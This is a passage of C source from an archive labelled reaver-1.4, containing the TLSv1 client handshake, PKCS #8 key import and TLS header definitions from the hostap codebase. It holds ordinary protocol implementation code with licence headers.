TLS_ALERT_INTERNAL_ERROR); return -1; } pos = rhdr + rlen; tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start); *msgpos = pos; return 0; } static int tlsv1_key_x_anon_dh(struct tlsv1_client *conn, u8 **pos, u8 *end) { /* ClientDiffieHellmanPublic */ u8 *csecret, *csecret_start, *dh_yc, *shared; size_t csecret_len, dh_yc_len, shared_len; csecret_len = conn->dh_p_len; csecret = os_malloc(csecret_len); if (csecret == NULL) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to allocate " "memory for Yc (Diffie-Hellman)"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } if (os_get_random(csecret, csecret_len)) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to get random " "data for Diffie-Hellman"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); os_free(csecret); return -1; } if (os_memcmp(csecret, conn->dh_p, csecret_len) > 0) csecret[0] = 0; /* make sure Yc < p */ csecret_start = csecret; while (csecret_len > 1 && *csecret_start == 0) { csecret_start++; csecret_len--; } wpa_hexdump_key(MSG_DEBUG, "TLSv1: DH client's secret value", csecret_start, csecret_len); /* Yc = g^csecret mod p */ dh_yc_len = conn->dh_p_len; dh_yc = os_malloc(dh_yc_len); if (dh_yc == NULL) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to allocate " "memory for Diffie-Hellman"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); os_free(csecret); return -1; } if (crypto_mod_exp(conn->dh_g, conn->dh_g_len, csecret_start, csecret_len, conn->dh_p, conn->dh_p_len, dh_yc, &dh_yc_len)) { tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); os_free(csecret); os_free(dh_yc); return -1; } wpa_hexdump(MSG_DEBUG, "TLSv1: DH Yc (client's public value)", dh_yc, dh_yc_len); WPA_PUT_BE16(*pos, dh_yc_len); *pos += 2; if (*pos + dh_yc_len > end) { wpa_printf(MSG_DEBUG, "TLSv1: Not enough room in the " "message buffer for Yc"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); os_free(csecret); os_free(dh_yc); return -1; } os_memcpy(*pos, dh_yc, dh_yc_len); *pos += dh_yc_len; os_free(dh_yc); shared_len = conn->dh_p_len; shared = os_malloc(shared_len); if (shared == NULL) { wpa_printf(MSG_DEBUG, "TLSv1: Could not allocate memory for " "DH"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); os_free(csecret); return -1; } /* shared = Ys^csecret mod p */ if (crypto_mod_exp(conn->dh_ys, conn->dh_ys_len, csecret_start, csecret_len, conn->dh_p, conn->dh_p_len, shared, &shared_len)) { tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); os_free(csecret); os_free(shared); return -1; } wpa_hexdump_key(MSG_DEBUG, "TLSv1: Shared secret from DH key exchange", shared, shared_len); os_memset(csecret_start, 0, csecret_len); os_free(csecret); if (tls_derive_keys(conn, shared, shared_len)) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive keys"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); os_free(shared); return -1; } os_memset(shared, 0, shared_len); os_free(shared); tlsv1_client_free_dh(conn); return 0; } static int tlsv1_key_x_rsa(struct tlsv1_client *conn, u8 **pos, u8 *end) { u8 pre_master_secret[TLS_PRE_MASTER_SECRET_LEN]; size_t clen; int res; if (tls_derive_pre_master_secret(pre_master_secret) < 0 || tls_derive_keys(conn, pre_master_secret, TLS_PRE_MASTER_SECRET_LEN)) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive keys"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } /* EncryptedPreMasterSecret */ if (conn->server_rsa_key == NULL) { wpa_printf(MSG_DEBUG, "TLSv1: No server RSA key to " "use for encrypting pre-master secret"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } /* RSA encrypted value is encoded with PKCS #1 v1.5 block type 2. */ *pos += 2; clen = end - *pos; res = crypto_public_key_encrypt_pkcs1_v15( conn->server_rsa_key, pre_master_secret, TLS_PRE_MASTER_SECRET_LEN, *pos, &clen); os_memset(pre_master_secret, 0, TLS_PRE_MASTER_SECRET_LEN); if (res < 0) { wpa_printf(MSG_DEBUG, "TLSv1: RSA encryption failed"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } WPA_PUT_BE16(*pos - 2, clen); wpa_hexdump(MSG_MSGDUMP, "TLSv1: Encrypted pre_master_secret", *pos, clen); *pos += clen; return 0; } static int tls_write_client_key_exchange(struct tlsv1_client *conn, u8 **msgpos, u8 *end) { u8 *pos, *rhdr, *hs_start, *hs_length; size_t rlen; tls_key_exchange keyx; const struct tls_cipher_suite *suite; suite = tls_get_cipher_suite(conn->rl.cipher_suite); if (suite == NULL) keyx = TLS_KEY_X_NULL; else keyx = suite->key_exchange; pos = *msgpos; wpa_printf(MSG_DEBUG, "TLSv1: Send ClientKeyExchange"); rhdr = pos; pos += TLS_RECORD_HEADER_LEN; /* opaque fragment[TLSPlaintext.length] */ /* Handshake */ hs_start = pos; /* HandshakeType msg_type */ *pos++ = TLS_HANDSHAKE_TYPE_CLIENT_KEY_EXCHANGE; /* uint24 length (to be filled) */ hs_length = pos; pos += 3; /* body - ClientKeyExchange */ if (keyx == TLS_KEY_X_DH_anon) { if (tlsv1_key_x_anon_dh(conn, &pos, end) < 0) return -1; } else { if (tlsv1_key_x_rsa(conn, &pos, end) < 0) return -1; } WPA_PUT_BE24(hs_length, pos - hs_length - 3); if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE, rhdr, end - rhdr, pos - hs_start, &rlen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to create a record"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } pos = rhdr + rlen; tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start); *msgpos = pos; return 0; } static int tls_write_client_certificate_verify(struct tlsv1_client *conn, u8 **msgpos, u8 *end) { u8 *pos, *rhdr, *hs_start, *hs_length, *signed_start; size_t rlen, hlen, clen; u8 hash[MD5_MAC_LEN + SHA1_MAC_LEN], *hpos; enum { SIGN_ALG_RSA, SIGN_ALG_DSA } alg = SIGN_ALG_RSA; pos = *msgpos; wpa_printf(MSG_DEBUG, "TLSv1: Send CertificateVerify"); rhdr = pos; pos += TLS_RECORD_HEADER_LEN; /* Handshake */ hs_start = pos; /* HandshakeType msg_type */ *pos++ = TLS_HANDSHAKE_TYPE_CERTIFICATE_VERIFY; /* uint24 length (to be filled) */ hs_length = pos; pos += 3; /* * RFC 2246: 7.4.3 and 7.4.8: * Signature signature * * RSA: * digitally-signed struct { * opaque md5_hash[16]; * opaque sha_hash[20]; * }; * * DSA: * digitally-signed struct { * opaque sha_hash[20]; * }; * * The hash values are calculated over all handshake messages sent or * received starting at ClientHello up to, but not including, this * CertificateVerify message, including the type and length fields of * the handshake messages. */ hpos = hash; if (alg == SIGN_ALG_RSA) { hlen = MD5_MAC_LEN; if (conn->verify.md5_cert == NULL || crypto_hash_finish(conn->verify.md5_cert, hpos, &hlen) < 0) { tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); conn->verify.md5_cert = NULL; crypto_hash_finish(conn->verify.sha1_cert, NULL, NULL); conn->verify.sha1_cert = NULL; return -1; } hpos += MD5_MAC_LEN; } else crypto_hash_finish(conn->verify.md5_cert, NULL, NULL); conn->verify.md5_cert = NULL; hlen = SHA1_MAC_LEN; if (conn->verify.sha1_cert == NULL || crypto_hash_finish(conn->verify.sha1_cert, hpos, &hlen) < 0) { conn->verify.sha1_cert = NULL; tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } conn->verify.sha1_cert = NULL; if (alg == SIGN_ALG_RSA) hlen += MD5_MAC_LEN; wpa_hexdump(MSG_MSGDUMP, "TLSv1: CertificateVerify hash", hash, hlen); /* * RFC 2246, 4.7: * In digital signing, one-way hash functions are used as input for a * signing algorithm. A digitally-signed element is encoded as an * opaque vector <0..2^16-1>, where the length is specified by the * signing algorithm and key. * * In RSA signing, a 36-byte structure of two hashes (one SHA and one * MD5) is signed (encrypted with the private key). It is encoded with * PKCS #1 block type 0 or type 1 as described in [PKCS1]. */ signed_start = pos; /* length to be filled */ pos += 2; clen = end - pos; if (conn->cred == NULL || crypto_private_key_sign_pkcs1(conn->cred->key, hash, hlen, pos, &clen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to sign hash (PKCS #1)"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } WPA_PUT_BE16(signed_start, clen); pos += clen; WPA_PUT_BE24(hs_length, pos - hs_length - 3); if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE, rhdr, end - rhdr, pos - hs_start, &rlen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to generate a record"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } pos = rhdr + rlen; tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start); *msgpos = pos; return 0; } static int tls_write_client_change_cipher_spec(struct tlsv1_client *conn, u8 **msgpos, u8 *end) { u8 *pos, *rhdr; size_t rlen; pos = *msgpos; wpa_printf(MSG_DEBUG, "TLSv1: Send ChangeCipherSpec"); rhdr = pos; pos += TLS_RECORD_HEADER_LEN; *pos = TLS_CHANGE_CIPHER_SPEC; if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_CHANGE_CIPHER_SPEC, rhdr, end - rhdr, 1, &rlen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to create a record"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } if (tlsv1_record_change_write_cipher(&conn->rl) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to set write cipher for " "record layer"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } *msgpos = rhdr + rlen; return 0; } static int tls_write_client_finished(struct tlsv1_client *conn, u8 **msgpos, u8 *end) { u8 *pos, *rhdr, *hs_start, *hs_length; size_t rlen, hlen; u8 verify_data[TLS_VERIFY_DATA_LEN]; u8 hash[MD5_MAC_LEN + SHA1_MAC_LEN]; pos = *msgpos; wpa_printf(MSG_DEBUG, "TLSv1: Send Finished"); /* Encrypted Handshake Message: Finished */ hlen = MD5_MAC_LEN; if (conn->verify.md5_client == NULL || crypto_hash_finish(conn->verify.md5_client, hash, &hlen) < 0) { tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); conn->verify.md5_client = NULL; crypto_hash_finish(conn->verify.sha1_client, NULL, NULL); conn->verify.sha1_client = NULL; return -1; } conn->verify.md5_client = NULL; hlen = SHA1_MAC_LEN; if (conn->verify.sha1_client == NULL || crypto_hash_finish(conn->verify.sha1_client, hash + MD5_MAC_LEN, &hlen) < 0) { conn->verify.sha1_client = NULL; tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } conn->verify.sha1_client = NULL; if (tls_prf(conn->master_secret, TLS_MASTER_SECRET_LEN, "client finished", hash, MD5_MAC_LEN + SHA1_MAC_LEN, verify_data, TLS_VERIFY_DATA_LEN)) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to generate verify_data"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } wpa_hexdump_key(MSG_DEBUG, "TLSv1: verify_data (client)", verify_data, TLS_VERIFY_DATA_LEN); rhdr = pos; pos += TLS_RECORD_HEADER_LEN; /* Handshake */ hs_start = pos; /* HandshakeType msg_type */ *pos++ = TLS_HANDSHAKE_TYPE_FINISHED; /* uint24 length (to be filled) */ hs_length = pos; pos += 3; os_memcpy(pos, verify_data, TLS_VERIFY_DATA_LEN); pos += TLS_VERIFY_DATA_LEN; WPA_PUT_BE24(hs_length, pos - hs_length - 3); tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start); if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE, rhdr, end - rhdr, pos - hs_start, &rlen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to create a record"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } pos = rhdr + rlen; *msgpos = pos; return 0; } static u8 * tls_send_client_key_exchange(struct tlsv1_client *conn, size_t *out_len) { u8 *msg, *end, *pos; size_t msglen; *out_len = 0; msglen = 1000; if (conn->certificate_requested) msglen += tls_client_cert_chain_der_len(conn); msg = os_malloc(msglen); if (msg == NULL) return NULL; pos = msg; end = msg + msglen; if (conn->certificate_requested) { if (tls_write_client_certificate(conn, &pos, end) < 0) { os_free(msg); return NULL; } } if (tls_write_client_key_exchange(conn, &pos, end) < 0 || (conn->certificate_requested && conn->cred && conn->cred->key && tls_write_client_certificate_verify(conn, &pos, end) < 0) || tls_write_client_change_cipher_spec(conn, &pos, end) < 0 || tls_write_client_finished(conn, &pos, end) < 0) { os_free(msg); return NULL; } *out_len = pos - msg; conn->state = SERVER_CHANGE_CIPHER_SPEC; return msg; } static u8 * tls_send_change_cipher_spec(struct tlsv1_client *conn, size_t *out_len) { u8 *msg, *end, *pos; *out_len = 0; msg = os_malloc(1000); if (msg == NULL) return NULL; pos = msg; end = msg + 1000; if (tls_write_client_change_cipher_spec(conn, &pos, end) < 0 || tls_write_client_finished(conn, &pos, end) < 0) { os_free(msg); return NULL; } *out_len = pos - msg; wpa_printf(MSG_DEBUG, "TLSv1: Session resumption completed " "successfully"); conn->state = ESTABLISHED; return msg; } u8 * tlsv1_client_handshake_write(struct tlsv1_client *conn, size_t *out_len, int no_appl_data) { switch (conn->state) { case CLIENT_KEY_EXCHANGE: return tls_send_client_key_exchange(conn, out_len); case CHANGE_CIPHER_SPEC: return tls_send_change_cipher_spec(conn, out_len); case ACK_FINISHED: wpa_printf(MSG_DEBUG, "TLSv1: Handshake completed " "successfully"); conn->state = ESTABLISHED; *out_len = 0; if (no_appl_data) { /* Need to return something to get final TLS ACK. */ return os_malloc(1); } return NULL; default: wpa_printf(MSG_DEBUG, "TLSv1: Unexpected state %d while " "generating reply", conn->state); return NULL; } } u8 * tlsv1_client_send_alert(struct tlsv1_client *conn, u8 level, u8 description, size_t *out_len) { u8 *alert, *pos, *length; wpa_printf(MSG_DEBUG, "TLSv1: Send Alert(%d:%d)", level, description); *out_len = 0; alert = os_malloc(10); if (alert == NULL) return NULL; pos = alert; /* TLSPlaintext */ /* ContentType type */ *pos++ = TLS_CONTENT_TYPE_ALERT; /* ProtocolVersion version */ WPA_PUT_BE16(pos, TLS_VERSION); pos += 2; /* uint16 length (to be filled) */ length = pos; pos += 2; /* opaque fragment[TLSPlaintext.length] */ /* Alert */ /* AlertLevel level */ *pos++ = level; /* AlertDescription description */ *pos++ = description; WPA_PUT_BE16(length, pos - length - 2); *out_len = pos - alert; return alert; } reaver-1.4/src/tls/pkcs8.c0000755000175000017500000001247111705505257015000 0ustar reaverreaver/* * PKCS #8 (Private-key information syntax) * Copyright (c) 2006-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "asn1.h" #include "bignum.h" #include "rsa.h" #include "pkcs5.h" #include "pkcs8.h" struct crypto_private_key * pkcs8_key_import(const u8 *buf, size_t len) { struct asn1_hdr hdr; const u8 *pos, *end; struct bignum *zero; struct asn1_oid oid; char obuf[80]; /* PKCS #8, Chapter 6 */ /* PrivateKeyInfo ::= SEQUENCE */ if (asn1_get_next(buf, len, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "PKCS #8: Does not start with PKCS #8 " "header (SEQUENCE); assume PKCS #8 not used"); return NULL; } pos = hdr.payload; end = pos + hdr.length; /* version Version (Version ::= INTEGER) */ if (asn1_get_next(pos, end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_INTEGER) { wpa_printf(MSG_DEBUG, "PKCS #8: Expected INTEGER - found " "class %d tag 0x%x; assume PKCS #8 not used", hdr.class, hdr.tag); return NULL; } zero = bignum_init(); if (zero == NULL) return NULL; if (bignum_set_unsigned_bin(zero, hdr.payload, hdr.length) < 0) { wpa_printf(MSG_DEBUG, "PKCS #8: Failed to parse INTEGER"); bignum_deinit(zero); return NULL; } pos = hdr.payload + hdr.length; if (bignum_cmp_d(zero, 0) != 0) { wpa_printf(MSG_DEBUG, "PKCS #8: Expected zero INTEGER in the " "beginning of private key; not found; assume " "PKCS #8 not used"); bignum_deinit(zero); return NULL; } bignum_deinit(zero); /* privateKeyAlgorithm PrivateKeyAlgorithmIdentifier * (PrivateKeyAlgorithmIdentifier ::= AlgorithmIdentifier) */ if (asn1_get_next(pos, len, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "PKCS #8: Expected SEQUENCE " "(AlgorithmIdentifier) - found class %d tag 0x%x; " "assume PKCS #8 not used", hdr.class, hdr.tag); return NULL; } if (asn1_get_oid(hdr.payload, hdr.length, &oid, &pos)) { wpa_printf(MSG_DEBUG, "PKCS #8: Failed to parse OID " "(algorithm); assume PKCS #8 not used"); return NULL; } asn1_oid_to_str(&oid, obuf, sizeof(obuf)); wpa_printf(MSG_DEBUG, "PKCS #8: algorithm=%s", obuf); if (oid.len != 7 || oid.oid[0] != 1 /* iso */ || oid.oid[1] != 2 /* member-body */ || oid.oid[2] != 840 /* us */ || oid.oid[3] != 113549 /* rsadsi */ || oid.oid[4] != 1 /* pkcs */ || oid.oid[5] != 1 /* pkcs-1 */ || oid.oid[6] != 1 /* rsaEncryption */) { wpa_printf(MSG_DEBUG, "PKCS #8: Unsupported private key " "algorithm %s", obuf); return NULL; } pos = hdr.payload + hdr.length; /* privateKey PrivateKey (PrivateKey ::= OCTET STRING) */ if (asn1_get_next(pos, end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_OCTETSTRING) { wpa_printf(MSG_DEBUG, "PKCS #8: Expected OCTETSTRING " "(privateKey) - found class %d tag 0x%x", hdr.class, hdr.tag); return NULL; } wpa_printf(MSG_DEBUG, "PKCS #8: Try to parse RSAPrivateKey"); return (struct crypto_private_key *) crypto_rsa_import_private_key(hdr.payload, hdr.length); } struct crypto_private_key * pkcs8_enc_key_import(const u8 *buf, size_t len, const char *passwd) { struct asn1_hdr hdr; const u8 *pos, *end, *enc_alg; size_t enc_alg_len; u8 *data; size_t data_len; if (passwd == NULL) return NULL; /* * PKCS #8, Chapter 7 * EncryptedPrivateKeyInfo ::= SEQUENCE { * encryptionAlgorithm EncryptionAlgorithmIdentifier, * encryptedData EncryptedData } * EncryptionAlgorithmIdentifier ::= AlgorithmIdentifier * EncryptedData ::= OCTET STRING */ if (asn1_get_next(buf, len, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "PKCS #8: Does not start with PKCS #8 " "header (SEQUENCE); assume encrypted PKCS #8 not " "used"); return NULL; } pos = hdr.payload; end = pos + hdr.length; /* encryptionAlgorithm EncryptionAlgorithmIdentifier */ if (asn1_get_next(pos, end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "PKCS #8: Expected SEQUENCE " "(AlgorithmIdentifier) - found class %d tag 0x%x; " "assume encrypted PKCS #8 not used", hdr.class, hdr.tag); return NULL; } enc_alg = hdr.payload; enc_alg_len = hdr.length; pos = hdr.payload + hdr.length; /* encryptedData EncryptedData */ if (asn1_get_next(pos, end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_OCTETSTRING) { wpa_printf(MSG_DEBUG, "PKCS #8: Expected OCTETSTRING " "(encryptedData) - found class %d tag 0x%x", hdr.class, hdr.tag); return NULL; } data = pkcs5_decrypt(enc_alg, enc_alg_len, hdr.payload, hdr.length, passwd, &data_len); if (data) { struct crypto_private_key *key; key = pkcs8_key_import(data, data_len); os_free(data); return key; } return NULL; } reaver-1.4/src/tls/tlsv1_cred.h0000755000175000017500000000262211705505260016012 0ustar reaverreaver/* * TLSv1 credentials * Copyright (c) 2006-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef TLSV1_CRED_H #define TLSV1_CRED_H struct tlsv1_credentials { struct x509_certificate *trusted_certs; struct x509_certificate *cert; struct crypto_private_key *key; /* Diffie-Hellman parameters */ u8 *dh_p; /* prime */ size_t dh_p_len; u8 *dh_g; /* generator */ size_t dh_g_len; }; struct tlsv1_credentials * tlsv1_cred_alloc(void); void tlsv1_cred_free(struct tlsv1_credentials *cred); int tlsv1_set_ca_cert(struct tlsv1_credentials *cred, const char *cert, const u8 *cert_blob, size_t cert_blob_len, const char *path); int tlsv1_set_cert(struct tlsv1_credentials *cred, const char *cert, const u8 *cert_blob, size_t cert_blob_len); int tlsv1_set_private_key(struct tlsv1_credentials *cred, const char *private_key, const char *private_key_passwd, const u8 *private_key_blob, size_t private_key_blob_len); int tlsv1_set_dhparams(struct tlsv1_credentials *cred, const char *dh_file, const u8 *dh_blob, size_t dh_blob_len); #endif /* TLSV1_CRED_H */ reaver-1.4/src/tls/tlsv1_common.h0000755000175000017500000001644611705505260016376 0ustar reaverreaver/* * TLSv1 common definitions * Copyright (c) 2006-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef TLSV1_COMMON_H #define TLSV1_COMMON_H #include "crypto/crypto.h" #define TLS_VERSION 0x0301 /* TLSv1 */ #define TLS_RANDOM_LEN 32 #define TLS_PRE_MASTER_SECRET_LEN 48 #define TLS_MASTER_SECRET_LEN 48 #define TLS_SESSION_ID_MAX_LEN 32 #define TLS_VERIFY_DATA_LEN 12 /* HandshakeType */ enum { TLS_HANDSHAKE_TYPE_HELLO_REQUEST = 0, TLS_HANDSHAKE_TYPE_CLIENT_HELLO = 1, TLS_HANDSHAKE_TYPE_SERVER_HELLO = 2, TLS_HANDSHAKE_TYPE_NEW_SESSION_TICKET = 4 /* RFC 4507 */, TLS_HANDSHAKE_TYPE_CERTIFICATE = 11, TLS_HANDSHAKE_TYPE_SERVER_KEY_EXCHANGE = 12, TLS_HANDSHAKE_TYPE_CERTIFICATE_REQUEST = 13, TLS_HANDSHAKE_TYPE_SERVER_HELLO_DONE = 14, TLS_HANDSHAKE_TYPE_CERTIFICATE_VERIFY = 15, TLS_HANDSHAKE_TYPE_CLIENT_KEY_EXCHANGE = 16, TLS_HANDSHAKE_TYPE_FINISHED = 20, TLS_HANDSHAKE_TYPE_CERTIFICATE_URL = 21 /* RFC 4366 */, TLS_HANDSHAKE_TYPE_CERTIFICATE_STATUS = 22 /* RFC 4366 */ }; /* CipherSuite */ #define TLS_NULL_WITH_NULL_NULL 0x0000 /* RFC 2246 */ #define TLS_RSA_WITH_NULL_MD5 0x0001 /* RFC 2246 */ #define TLS_RSA_WITH_NULL_SHA 0x0002 /* RFC 2246 */ #define TLS_RSA_EXPORT_WITH_RC4_40_MD5 0x0003 /* RFC 2246 */ #define TLS_RSA_WITH_RC4_128_MD5 0x0004 /* RFC 2246 */ #define TLS_RSA_WITH_RC4_128_SHA 0x0005 /* RFC 2246 */ #define TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5 0x0006 /* RFC 2246 */ #define TLS_RSA_WITH_IDEA_CBC_SHA 0x0007 /* RFC 2246 */ #define TLS_RSA_EXPORT_WITH_DES40_CBC_SHA 0x0008 /* RFC 2246 */ #define TLS_RSA_WITH_DES_CBC_SHA 0x0009 /* RFC 2246 */ #define TLS_RSA_WITH_3DES_EDE_CBC_SHA 0x000A /* RFC 2246 */ #define TLS_DH_DSS_EXPORT_WITH_DES40_CBC_SHA 0x000B /* RFC 2246 */ #define TLS_DH_DSS_WITH_DES_CBC_SHA 0x000C /* RFC 2246 */ #define TLS_DH_DSS_WITH_3DES_EDE_CBC_SHA 0x000D /* RFC 2246 */ #define TLS_DH_RSA_EXPORT_WITH_DES40_CBC_SHA 0x000E /* RFC 2246 */ #define TLS_DH_RSA_WITH_DES_CBC_SHA 0x000F /* RFC 2246 */ #define TLS_DH_RSA_WITH_3DES_EDE_CBC_SHA 0x0010 /* RFC 2246 */ #define TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA 0x0011 /* RFC 2246 */ #define TLS_DHE_DSS_WITH_DES_CBC_SHA 0x0012 /* RFC 2246 */ #define TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA 0x0013 /* RFC 2246 */ #define TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA 0x0014 /* RFC 2246 */ #define TLS_DHE_RSA_WITH_DES_CBC_SHA 0x0015 /* RFC 2246 */ #define TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA 0x0016 /* RFC 2246 */ #define TLS_DH_anon_EXPORT_WITH_RC4_40_MD5 0x0017 /* RFC 2246 */ #define TLS_DH_anon_WITH_RC4_128_MD5 0x0018 /* RFC 2246 */ #define TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA 0x0019 /* RFC 2246 */ #define TLS_DH_anon_WITH_DES_CBC_SHA 0x001A /* RFC 2246 */ #define TLS_DH_anon_WITH_3DES_EDE_CBC_SHA 0x001B /* RFC 2246 */ #define TLS_RSA_WITH_AES_128_CBC_SHA 0x002F /* RFC 3268 */ #define TLS_DH_DSS_WITH_AES_128_CBC_SHA 0x0030 /* RFC 3268 */ #define TLS_DH_RSA_WITH_AES_128_CBC_SHA 0x0031 /* RFC 3268 */ #define TLS_DHE_DSS_WITH_AES_128_CBC_SHA 0x0032 /* RFC 3268 */ #define TLS_DHE_RSA_WITH_AES_128_CBC_SHA 0x0033 /* RFC 3268 */ #define TLS_DH_anon_WITH_AES_128_CBC_SHA 0x0034 /* RFC 3268 */ #define TLS_RSA_WITH_AES_256_CBC_SHA 0x0035 /* RFC 3268 */ #define TLS_DH_DSS_WITH_AES_256_CBC_SHA 0x0036 /* RFC 3268 */ #define TLS_DH_RSA_WITH_AES_256_CBC_SHA 0x0037 /* RFC 3268 */ #define TLS_DHE_DSS_WITH_AES_256_CBC_SHA 0x0038 /* RFC 3268 */ #define TLS_DHE_RSA_WITH_AES_256_CBC_SHA 0x0039 /* RFC 3268 */ #define TLS_DH_anon_WITH_AES_256_CBC_SHA 0x003A /* RFC 3268 */ /* CompressionMethod */ #define TLS_COMPRESSION_NULL 0 /* AlertLevel */ #define TLS_ALERT_LEVEL_WARNING 1 #define TLS_ALERT_LEVEL_FATAL 2 /* AlertDescription */ #define TLS_ALERT_CLOSE_NOTIFY 0 #define TLS_ALERT_UNEXPECTED_MESSAGE 10 #define TLS_ALERT_BAD_RECORD_MAC 20 #define TLS_ALERT_DECRYPTION_FAILED 21 #define TLS_ALERT_RECORD_OVERFLOW 22 #define TLS_ALERT_DECOMPRESSION_FAILURE 30 #define TLS_ALERT_HANDSHAKE_FAILURE 40 #define TLS_ALERT_BAD_CERTIFICATE 42 #define TLS_ALERT_UNSUPPORTED_CERTIFICATE 43 #define TLS_ALERT_CERTIFICATE_REVOKED 44 #define TLS_ALERT_CERTIFICATE_EXPIRED 45 #define TLS_ALERT_CERTIFICATE_UNKNOWN 46 #define TLS_ALERT_ILLEGAL_PARAMETER 47 #define TLS_ALERT_UNKNOWN_CA 48 #define TLS_ALERT_ACCESS_DENIED 49 #define TLS_ALERT_DECODE_ERROR 50 #define TLS_ALERT_DECRYPT_ERROR 51 #define TLS_ALERT_EXPORT_RESTRICTION 60 #define TLS_ALERT_PROTOCOL_VERSION 70 #define TLS_ALERT_INSUFFICIENT_SECURITY 71 #define TLS_ALERT_INTERNAL_ERROR 80 #define TLS_ALERT_USER_CANCELED 90 #define TLS_ALERT_NO_RENEGOTIATION 100 #define TLS_ALERT_UNSUPPORTED_EXTENSION 110 /* RFC 4366 */ #define TLS_ALERT_CERTIFICATE_UNOBTAINABLE 111 /* RFC 4366 */ #define TLS_ALERT_UNRECOGNIZED_NAME 112 /* RFC 4366 */ #define TLS_ALERT_BAD_CERTIFICATE_STATUS_RESPONSE 113 /* RFC 4366 */ #define TLS_ALERT_BAD_CERTIFICATE_HASH_VALUE 114 /* RFC 4366 */ /* ChangeCipherSpec */ enum { TLS_CHANGE_CIPHER_SPEC = 1 }; /* TLS Extensions */ #define 